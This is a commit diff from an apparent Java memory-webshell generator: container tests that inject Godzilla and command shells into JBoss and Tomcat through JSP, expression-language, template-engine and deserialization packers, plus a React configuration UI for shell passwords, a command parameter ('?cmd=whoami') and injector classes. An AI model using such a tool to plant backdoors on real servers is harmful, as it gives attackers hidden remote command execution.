case ScriptEngine -> VulTool.postData(url + "/js", content);
case EL -> VulTool.postData(url + "/el", content);
case SpEL -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize ->
VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content));
VulTool.postData(url + "/java_deserialize", content);
}
}
}
@@ -60,6 +60,6 @@ public class Jboss423ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
}
}
@@ -60,6 +60,6 @@ public class Jboss510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
}
}
@@ -61,6 +61,6 @@ public class Jboss610ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
}
}
@@ -60,6 +60,6 @@ public class Jboss711ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer);
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer);
}
}
@@ -57,6 +57,6 @@ public class JbossEap6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer);
}
}
@@ -42,9 +42,13 @@ public class JbossEap7ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
);
}
@@ -57,6 +61,6 @@ public class JbossEap7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer);
}
}
@@ -66,7 +66,7 @@ public class Tomcat8ContainerTest {
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
+1
View File
@@ -0,0 +1 @@
VITE_APP_API_URL=http://127.0.0.1:8080
+1
View File
@@ -0,0 +1 @@
VITE_APP_API_URL=
+2 -2
View File
@@ -1,5 +1,5 @@
{
"$schema": "https://biomejs.dev/schemas/1.9.3/schema.json",
"$schema": "https://biomejs.dev/schemas/1.9.4/schema.json",
"vcs": {
"enabled": true,
"clientKind": "git",
@@ -30,7 +30,7 @@
"indentStyle": "space",
"indentWidth": 2,
"enabled": true,
"lineWidth": 100,
"lineWidth": 120,
"ignore": ["node_modules", "tsconfig*", "dist"]
},
"organizeImports": {
BIN
View File
Binary file not shown.
+8
View File
@@ -0,0 +1,8 @@
#!/bin/bash
rm -rf ../boot/src/main/resources/static/assets/*
mkdir -p ../boot/src/main/resources/static/assets/
cp dist/vite.svg ../boot/src/main/resources/static/
cp -R dist/assets/* ../boot/src/main/resources/static/assets/
cp dist/index.html ../boot/src/main/resources/templates
+24 -15
View File
@@ -6,42 +6,51 @@
"scripts": {
"typecheck": "tsc --noEmit",
"dev": "vite --port=3001",
"build": "vite build",
"build": "tsc -b && vite build --mode production",
"serve": "vite preview",
"check": "bunx @biomejs/biome check ./ --write",
"start": "vite"
},
"devDependencies": {
"@biomejs/biome": "1.9.4",
"@tanstack/router-plugin": "^1.86.0",
"@types/node": "^22.10.1",
"@tanstack/router-plugin": "^1.91.1",
"@types/node": "^22.10.2",
"@types/react": "^19.0.1",
"@types/react-dom": "^19.0.1",
"@types/react-dom": "^19.0.2",
"@vitejs/plugin-react": "^4.3.4",
"autoprefixer": "^10.4.20",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.16",
"typescript": "^5.7.2",
"vite": "^6.0.3"
},
"dependencies": {
"@radix-ui/react-checkbox": "^1.1.2",
"@radix-ui/react-dropdown-menu": "^2.1.2",
"@radix-ui/react-label": "^2.1.0",
"@radix-ui/react-radio-group": "^1.2.1",
"@radix-ui/react-select": "^2.1.2",
"@radix-ui/react-slot": "^1.1.0",
"@radix-ui/react-switch": "^1.1.1",
"@radix-ui/react-tabs": "^1.1.1",
"@tanstack/react-router": "^1.87.0",
"@tanstack/router-devtools": "^1.87.0",
"@hookform/resolvers": "^3.9.1",
"@radix-ui/react-checkbox": "^1.1.3",
"@radix-ui/react-dropdown-menu": "^2.1.4",
"@radix-ui/react-label": "^2.1.1",
"@radix-ui/react-radio-group": "^1.2.2",
"@radix-ui/react-select": "^2.1.4",
"@radix-ui/react-separator": "^1.1.1",
"@radix-ui/react-slot": "^1.1.1",
"@radix-ui/react-switch": "^1.1.2",
"@radix-ui/react-tabs": "^1.1.2",
"@radix-ui/react-tooltip": "^1.1.6",
"@tanstack/react-query": "^5.62.8",
"@tanstack/react-router": "^1.91.2",
"@tanstack/router-devtools": "^1.91.2",
"@types/react-syntax-highlighter": "^15.5.13",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"lucide-react": "^0.468.0",
"next-themes": "^0.4.4",
"react": "^19.0.0",
"react-dom": "^19.0.0",
"react-hook-form": "^7.54.1",
"react-syntax-highlighter": "^15.6.1",
"sonner": "^1.7.1",
"tailwind-merge": "^2.5.5",
"tailwindcss-animate": "^1.0.7"
"tailwindcss-animate": "^1.0.7",
"zod": "^3.24.1"
}
}
+24 -14
View File
@@ -1,9 +1,10 @@
import { Button, ButtonProps } from "@/components/ui/button.tsx";
import { cn } from "@/lib/utils.ts";
import { CheckIcon, ClipboardIcon } from "lucide-react";
import { useEffect, useState } from "react";
import { HTMLProps, useEffect, useState } from "react";
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
import { toast } from "sonner";
interface CopyButtonProps extends ButtonProps {
value: string;
@@ -14,24 +15,21 @@ export function copyToClipboardWithMeta(value: string) {
navigator.clipboard.writeText(value);
}
export function CopyButton({
value,
className,
src,
variant = "ghost",
...props
}: CopyButtonProps) {
export function CopyButton({ value, className, src, variant = "ghost", ...props }: CopyButtonProps) {
const [hasCopied, setHasCopied] = useState(false);
useEffect(() => {
setTimeout(() => {
setHasCopied(false);
}, 2000);
}, []);
if (hasCopied) {
setTimeout(() => {
setHasCopied(false);
}, 1000);
}
}, [hasCopied]);
return (
<Button
size="icon"
type="button"
variant={variant}
className={cn(
"relative z-10 h-6 w-6 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50 [&_svg]:h-3 [&_svg]:w-3",
@@ -40,6 +38,7 @@ export function CopyButton({
onClick={() => {
copyToClipboardWithMeta(value);
setHasCopied(true);
toast.success("复制成功");
}}
{...props}
>
@@ -53,22 +52,33 @@ export function CodeViewer({
code,
language,
showLineNumbers = true,
wrapLongLines = false,
}: {
code: string;
language: string;
showLineNumbers?: boolean;
wrapLongLines?: boolean;
}) {
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
: undefined;
return (
<div className="relative overflow-hidden text-xs">
<div className="relative overflow-hidden text-xs wrap-all">
<CopyButton value={code} className="absolute right-4 top-2" />
<SyntaxHighlighter
language={language}
style={materialDark}
showLineNumbers={showLineNumbers}
wrapLongLines={wrapLongLines}
lineProps={lineProps}
customStyle={{
margin: 0,
paddingRight: showLineNumbers ? 0 : 24,
paddingLeft: showLineNumbers ? 0 : 24,
borderRadius: "var(--radius)",
height: 600,
height: 500,
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
overflowWrap: wrapLongLines ? "normal" : "break-word",
}}
>
{code}
+297 -82
View File
@@ -1,17 +1,39 @@
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
import { Input } from "@/components/ui/input.tsx";
import { Label } from "@/components/ui/label.tsx";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select.tsx";
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
import { Separator } from "@/components/ui/separator.tsx";
import { Switch } from "@/components/ui/switch.tsx";
import { FormSchema } from "@/types/schema.ts";
import { MainConfig } from "@/types/shell.ts";
import { ServerIcon } from "lucide-react";
import { useState } from "react";
import { FormProvider, UseFormReturn } from "react-hook-form";
const JDKVersion = [
{ name: "Java6", value: "50" },
{ name: "Java8", value: "52" },
{ name: "Java9", value: "53" },
{ name: "Java11", value: "55" },
{ name: "Java17", value: "61" },
{ name: "Java21", value: "65" },
];
export function MainConfigCard({
mainConfig,
form,
servers,
}: {
mainConfig: MainConfig | undefined;
form: UseFormReturn<FormSchema>;
servers?: string[];
}) {
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
const [shellTools, setShellTools] = useState<string[]>([]);
const [shellTypes, setShellTypes] = useState<string[]>([]);
export function MainConfigCard() {
return (
<Card className="w-full">
<CardHeader className="pb-1">
@@ -20,87 +42,280 @@ export function MainConfigCard() {
<span></span>
</CardTitle>
</CardHeader>
<CardContent className="space-y-2">
<div className="grid grid-cols-2 gap-2">
<div className="space-y-1">
<Label htmlFor="server" className="text-sm">
<FormProvider {...form}>
<CardContent>
<div className="grid grid-cols-2 gap-2">
<FormField
control={form.control}
name="server"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<Select
onValueChange={(v) => {
field.onChange(v);
if (mainConfig) {
setShellToolMap(mainConfig[v]);
setShellTools(Object.keys(mainConfig[v]));
setShellTypes([]);
}
}}
value={field.value}
>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
</FormControl>
<SelectContent>
{servers?.map((server: string) => (
<SelectItem key={server} value={server}>
{server}
</SelectItem>
))}
</SelectContent>
</Select>
</FormItem>
)}
/>
<FormField
control={form.control}
name="targetJdkVersion"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>JRE()</FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
</FormControl>
<SelectContent>
{JDKVersion.map((v) => (
<SelectItem key={v.value} value={v.value}>
{v.name}
</SelectItem>
))}
</SelectContent>
</Select>
</FormItem>
)}
/>
</div>
<div className="flex items-center space-x-4 mt-2">
<FormField
control={form.control}
name="debug"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch id="debug" checked={field.value} onCheckedChange={field.onChange} />
</FormControl>
<FormLabel htmlFor="debug"></FormLabel>
</FormItem>
)}
/>
<FormField
control={form.control}
name="bypassJavaModule"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch id="bypassJavaModule" checked={field.value} onCheckedChange={field.onChange} />
</FormControl>
<Label htmlFor="bypassJavaModule">bypassJavaModule</Label>
</FormItem>
)}
/>
<div className="flex items-center space-x-2">
<Switch id="lambda" disabled />
<Label htmlFor="lambda">Lambda (WIP)</Label>
</div>
<div className="flex items-center space-x-2">
<Switch id="obfuscate" disabled />
<Label htmlFor="obfuscate"> (WIP)</Label>
</div>
</div>
<Separator className="mt-4 mb-2" />
<FormField
control={form.control}
name="shellClassName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<Input id="shellClassName" {...field} placeholder="请输入" className="h-8" />
</FormItem>
)}
/>
<div className="grid grid-cols-3 gap-2 mt-2">
<FormField
control={form.control}
name="shellTool"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<Select
value={field.value}
onValueChange={(value: string) => {
field.onChange(value);
if (shellToolMap) {
setShellTypes(shellToolMap[value]);
}
}}
>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
</FormControl>
<SelectContent>
{shellTools.length ? (
shellTools.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))
) : (
<SelectItem value=" "></SelectItem>
)}
</SelectContent>
</Select>
</FormItem>
)}
/>
<FormField
control={form.control}
name="shellType"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
</FormControl>
<SelectContent>
{shellTypes.length ? (
shellTypes.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))
) : (
<SelectItem value=" "></SelectItem>
)}
</SelectContent>
</Select>
</FormItem>
)}
/>
<FormField
control={form.control}
name="urlPattern"
render={({ field }) => (
<FormItem className="flex flex-col mt-1">
<Label className="flex items-center">
<UrlPatternTip />
</Label>
<Input {...field} placeholder="请输入" className="h-8" />
</FormItem>
)}
/>
</div>
<div className="mt-2">
{form.getValues().shellTool === "Godzilla" && (
<div className="space-y-1">
<Label>Godzilla </Label>
<div className="grid grid-cols-2 gap-2">
<FormField
control={form.control}
name="godzillaPass"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Pass" className="h-8" />
</FormItem>
)}
/>
<FormField
control={form.control}
name="godzillaKey"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Key" className="h-8" />
</FormItem>
)}
/>
<FormField
control={form.control}
name="godzillaHeaderName"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Header Name" className="h-8" />
</FormItem>
)}
/>
<FormField
control={form.control}
name="godzillaHeaderValue"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Header Value" className="h-8" />
</FormItem>
)}
/>
</div>
</div>
)}
{form.getValues().shellTool === "Command" && (
<FormField
control={form.control}
name="commandParamName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<FormControl>
<Input {...field} placeholder="请输入" className="h-8" />
</FormControl>
<FormDescription> cmd `?cmd=whoami` </FormDescription>
</FormItem>
)}
/>
)}
</div>
<Separator className="mt-4 mb-2" />
<FormField
control={form.control}
name="injectorClassName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<Input id="injectorClassName" {...field} placeholder="请输入" className="h-8" />
</FormItem>
)}
/>
<div className="space-y-1 mt-2">
<Label htmlFor="interface" className="flex items-center gap-2">
(WIP)
</Label>
<Select>
<SelectTrigger id="server" className="h-8">
<Select disabled>
<SelectTrigger id="interface" className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
<SelectContent>
<SelectItem value="tomcat">Tomcat</SelectItem>
<SelectItem value="jetty">Jetty</SelectItem>
<SelectItem value="undertow">Undertow</SelectItem>
<SelectItem value="jboss">JBoss</SelectItem>
<SelectItem value="wildfly">Wildfly</SelectItem>
<SelectItem value="springmvc">SpringMVC</SelectItem>
<SelectItem value="springwebflux">SpringWebflux</SelectItem>
<SelectItem value="weblogic">WebLogic</SelectItem>
<SelectItem value="websphere">WebSphere</SelectItem>
<SelectItem value="resin">Resin</SelectItem>
<SelectItem value="glassfish">Glassfish</SelectItem>
<SelectItem value="bes">BES</SelectItem>
<SelectItem value="tongweb">TongWeb</SelectItem>
<SelectItem value="JDK_AbstractTranslet">JDK_AbstractTranslet</SelectItem>
<SelectItem value="XALAN_AbstractTranslet">XALAN_AbstractTranslet</SelectItem>
<SelectItem value="FASTJSON_GroovyASTTransformation">FASTJSON_GroovyASTTransformation</SelectItem>
<SelectItem value="SnakeYaml_ScriptEngineFactory">SnakeYaml_ScriptEngineFactory</SelectItem>
</SelectContent>
</Select>
</div>
<div className="space-y-1">
<Label htmlFor="targetJdkVersion" className="text-sm">
JRE
</Label>
<Select defaultValue="6">
<SelectTrigger id="targetJdkVersion" className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
<SelectContent>
<SelectItem value="6">Java 6</SelectItem>
<SelectItem value="7">Java 7</SelectItem>
<SelectItem value="8">Java 8</SelectItem>
<SelectItem value="9">Java 9</SelectItem>
<SelectItem value="11">Java 11</SelectItem>
<SelectItem value="17">Java 17</SelectItem>
</SelectContent>
</Select>
</div>
</div>
<div className="grid grid-cols-2 gap-2">
<div>
<Label htmlFor="shellClassName" className="text-sm">
</Label>
<Input id="shellClassName" placeholder="请输入" className="h-8" />
</div>
<div>
<Label htmlFor="injectorClassName" className="text-sm">
</Label>
<Input id="injectorClassName" placeholder="请输入" className="h-8" />
</div>
</div>
<div className="flex items-center space-x-4">
<div className="flex items-center space-x-2">
<Switch id="obfuscate" />
<Label htmlFor="obfuscate" className="text-sm">
</Label>
</div>
<div className="flex items-center space-x-2">
<Switch id="debug" />
<Label htmlFor="debug" className="text-sm">
</Label>
</div>
<div className="flex items-center space-x-2">
<Switch id="lambda" />
<Label htmlFor="debug" className="text-sm">
Lambda
</Label>
</div>
</div>
</CardContent>
</CardContent>
</FormProvider>
</Card>
);
}
+37 -70
View File
@@ -1,9 +1,18 @@
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { Label } from "@/components/ui/label.tsx";
import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx";
import { FormSchema } from "@/types/schema.ts";
import { PackerConfig } from "@/types/shell.ts";
import { PackageIcon } from "lucide-react";
import { FormProvider, UseFormReturn } from "react-hook-form";
export function PackageConfigCard() {
export function PackageConfigCard({
packerConfig,
form,
}: {
packerConfig: PackerConfig | undefined;
form: UseFormReturn<FormSchema>;
}) {
return (
<Card className="w-full">
<CardHeader className="pb-1">
@@ -12,74 +21,32 @@ export function PackageConfigCard() {
<span></span>
</CardTitle>
</CardHeader>
<CardContent className="space-y-2">
<div className="space-y-1">
<Label className="text-sm"></Label>
<RadioGroup defaultValue="base64">
<div className="grid grid-cols-2 gap-2">
<div className="flex items-center space-x-2">
<RadioGroupItem value="base64" id="base64" />
<Label htmlFor="base64" className="text-xs">
Base64
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="jsp" id="jsp" />
<Label htmlFor="jsp" className="text-xs">
JSP
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="classFile" id="classFile" />
<Label htmlFor="classFile" className="text-xs">
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="scriptEngine" id="scriptEngine" />
<Label htmlFor="scriptEngine" className="text-xs">
ScriptEngine
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="elExpression" id="elExpression" />
<Label htmlFor="elExpression" className="text-xs">
EL Expression
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="ognlExpression" id="ognlExpression" />
<Label htmlFor="ognlExpression" className="text-xs">
OGNL Expression
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="spelExpression" id="spelExpression" />
<Label htmlFor="spelExpression" className="text-xs">
SpEL Expression
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="elExpression" id="elExpression" />
<Label htmlFor="elExpression" className="text-xs">
EL Expression
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="freemarkerExpression" id="freemarkerExpression" />
<Label htmlFor="freemarkerExpression" className="text-xs">
Freemarker
</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="velocityExpression" id="velocityExpression" />
<Label htmlFor="velocityExpression" className="text-xs">
Velocity
</Label>
</div>
</div>
</RadioGroup>
</div>
<CardContent>
<FormProvider {...form}>
<FormField
control={form.control}
name="packingMethod"
render={({ field }) => (
<FormItem className="space-y-3">
<FormLabel></FormLabel>
<FormControl>
<RadioGroup onValueChange={field.onChange} defaultValue={field.value} className="grid grid-cols-3">
{Object.entries(packerConfig ?? {}).map(([name, value]) => (
<FormItem key={value} className="flex items-center space-x-3 space-y-0">
<FormControl>
<RadioGroupItem value={value} id={value} />
</FormControl>
<FormLabel className="text-xs" htmlFor={value}>
{name}
</FormLabel>
</FormItem>
))}
</RadioGroup>
</FormControl>
</FormItem>
)}
/>
</FormProvider>
</CardContent>
</Card>
);
-78
View File
@@ -1,78 +0,0 @@
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { Input } from "@/components/ui/input.tsx";
import { Label } from "@/components/ui/label.tsx";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select.tsx";
import { FishSymbolIcon } from "lucide-react";
import { useState } from "react";
export function ShellConfigCard() {
const [shellTool, setShellTool] = useState<string>("");
return (
<Card className="w-full">
<CardHeader className="pb-1">
<CardTitle className="text-md flex items-center gap-2">
<FishSymbolIcon className="h-5" />
<span></span>
</CardTitle>
</CardHeader>
<CardContent className="space-y-2">
<div className="space-y-1">
<Label htmlFor="shellType" className="text-sm">
</Label>
<Select>
<SelectTrigger id="shellType" className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
<SelectContent>
<SelectItem value="filter">Filter</SelectItem>
<SelectItem value="servlet">Servlet</SelectItem>
<SelectItem value="listener">Listener</SelectItem>
<SelectItem value="agent">Agent</SelectItem>
</SelectContent>
</Select>
</div>
<div className="space-y-1">
<Label htmlFor="shellTool" className="text-sm">
</Label>
<Select onValueChange={(value: string) => setShellTool(value)}>
<SelectTrigger id="shellTool" className="h-8">
<SelectValue placeholder="请选择" />
</SelectTrigger>
<SelectContent>
<SelectItem value="command"></SelectItem>
<SelectItem value="fileList">File List</SelectItem>
<SelectItem value="gozilla">Godzilla</SelectItem>
</SelectContent>
</Select>
</div>
{shellTool === "gozilla" && (
<div className="space-y-1">
<Label className="text-sm">Godzilla </Label>
<div className="grid grid-cols-2 gap-2">
<Input placeholder="Pass" className="h-8 text-sm" />
<Input placeholder="Key" className="h-8 text-sm" />
<Input placeholder="Header Name" className="h-8 text-sm" />
<Input placeholder="Header Value" className="h-8 text-sm" />
</div>
</div>
)}
{shellTool === "command" && (
<div className="space-y-1">
<Label htmlFor="paramName" className="text-sm">
</Label>
<Input id="paramName" placeholder="请输入" className="h-8 text-sm" />
</div>
)}
</CardContent>
</Card>
);
}
File diff suppressed because one or more lines are too long
+2 -6
View File
@@ -26,9 +26,7 @@ export function ThemeProvider({
storageKey = "vite-ui-theme",
...props
}: ThemeProviderProps) {
const [theme, setTheme] = useState<Theme>(
() => (localStorage.getItem(storageKey) as Theme) || defaultTheme,
);
const [theme, setTheme] = useState<Theme>(() => (localStorage.getItem(storageKey) as Theme) || defaultTheme);
useEffect(() => {
const root = window.document.documentElement;
@@ -37,9 +35,7 @@ export function ThemeProvider({
root.removeAttribute(mode);
if (theme === "system") {
const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches
? "dark"
: "light";
const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
root.classList.add(systemTheme);
root.setAttribute(mode, systemTheme);
+18
View File
@@ -0,0 +1,18 @@
import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx";
import { InfoIcon } from "lucide-react";
export function JRETip() {
return (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<InfoIcon className="cursor-pointer h-3" />
</TooltipTrigger>
<TooltipContent>
<p> JRE Java 6 </p>
<p> JDK8 使 lambda JDK9 </p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
);
}
@@ -0,0 +1,17 @@
import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx";
import { InfoIcon } from "lucide-react";
export function UrlPatternTip() {
return (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<InfoIcon className="cursor-pointer h-4" />
</TooltipTrigger>
<TooltipContent>
<p>使 Servlet urlPattern使 /*使</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
);
}
+7 -13
View File
@@ -9,8 +9,7 @@ const alertVariants = cva(
variants: {
variant: {
default: "bg-background text-foreground",
destructive:
"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
destructive: "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
},
},
defaultVariants: {
@@ -29,21 +28,16 @@ Alert.displayName = "Alert";
const AlertTitle = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLHeadingElement>>(
({ className, ...props }, ref) => (
<h5
ref={ref}
className={cn("mb-1 font-medium leading-none tracking-tight", className)}
{...props}
/>
<h5 ref={ref} className={cn("mb-1 font-medium leading-none tracking-tight", className)} {...props} />
),
);
AlertTitle.displayName = "AlertTitle";
const AlertDescription = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLParagraphElement>
>(({ className, ...props }, ref) => (
<div ref={ref} className={cn("text-sm [&_p]:leading-relaxed", className)} {...props} />
));
const AlertDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
({ className, ...props }, ref) => (
<div ref={ref} className={cn("text-sm [&_p]:leading-relaxed", className)} {...props} />
),
);
AlertDescription.displayName = "AlertDescription";
export { Alert, AlertTitle, AlertDescription };
+2 -5
View File
@@ -11,8 +11,7 @@ const buttonVariants = cva(
variant: {
default: "bg-primary text-primary-foreground shadow hover:bg-primary/90",
destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
outline:
"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
outline: "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
ghost: "hover:bg-accent hover:text-accent-foreground",
link: "text-primary underline-offset-4 hover:underline",
@@ -40,9 +39,7 @@ export interface ButtonProps
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
({ className, variant, size, asChild = false, ...props }, ref) => {
const Comp = asChild ? Slot : "button";
return (
<Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />
);
return <Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />;
},
);
Button.displayName = "Button";
+5 -17
View File
@@ -2,15 +2,9 @@ import * as React from "react";
import { cn } from "@/lib/utils";
const Card = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
({ className, ...props }, ref) => (
<div
ref={ref}
className={cn("rounded-xl border bg-card text-card-foreground shadow", className)}
{...props}
/>
),
);
const Card = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(({ className, ...props }, ref) => (
<div ref={ref} className={cn("rounded-xl border bg-card text-card-foreground shadow", className)} {...props} />
));
Card.displayName = "Card";
const CardHeader = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
